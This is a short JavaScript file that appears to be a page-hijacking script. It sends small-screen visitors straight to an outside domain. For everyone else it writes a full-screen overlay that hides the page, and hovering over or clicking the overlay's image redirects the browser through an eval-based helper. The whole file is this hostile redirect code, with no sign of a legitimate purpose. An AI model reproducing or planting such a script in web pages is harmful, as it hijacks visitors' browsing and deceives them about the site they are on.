var isurl ="https://zhifangliu.new-chu.com/";

function RV_goToURL() { //v3.0
  var i, args=RV_goToURL.arguments; document.RV_returnValue = false;
  for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");
}

function browserRedirect() {

    if(screen.width<400){
    	window.location=isurl;
	}

    document.writeln("<style>html,body{widht:100%;height:100%;overflow:hidden;}</style>");
    document.writeln("<div style=\'width:100%;height:100%;text-align:center;background:#fff;position:absolute;top:0;left:0;z-index:1992;\'>");
    document.writeln("<a href=\"javascript:RV_goToURL(\'parent\',isurl)\"><img src=\'/index.jpg\' style=\'border:0;text-align:center;\' onMouseOver=\"RV_goToURL(\'parent\',isurl);return document.RV_returnValue\"></a>");
    document.writeln("</div>");
}

browserRedirect();